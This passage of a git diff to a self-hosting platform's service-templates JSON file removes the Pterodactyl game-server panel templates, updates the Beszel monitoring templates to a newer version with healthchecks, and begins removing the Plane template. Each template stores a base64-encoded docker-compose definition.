EFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCg==",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCiAgd2luZ3M6CiAgICBpbWFnZTogJ2doY3IuaW8vcHRlcm9kYWN0eWwvd2luZ3M6djEuMTIuMScKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMjAyMjoyMDIyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index 88eddd10b..580834a21 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtICdIVUJfVVJMPWh0dHA6Ly9iZXN6ZWw6ODA5MCcKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICB2b2x1bWVzOgogICAgICAtICdiZXN6ZWxfYWdlbnRfZGF0YTovdmFyL2xpYi9iZXN6ZWwtYWdlbnQnCiAgICAgIC0gJ2Jlc3plbF9zb2NrZXQ6L2Jlc3plbF9zb2NrZXQnCiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrOnJvJwo=",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -3658,27 +3658,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JH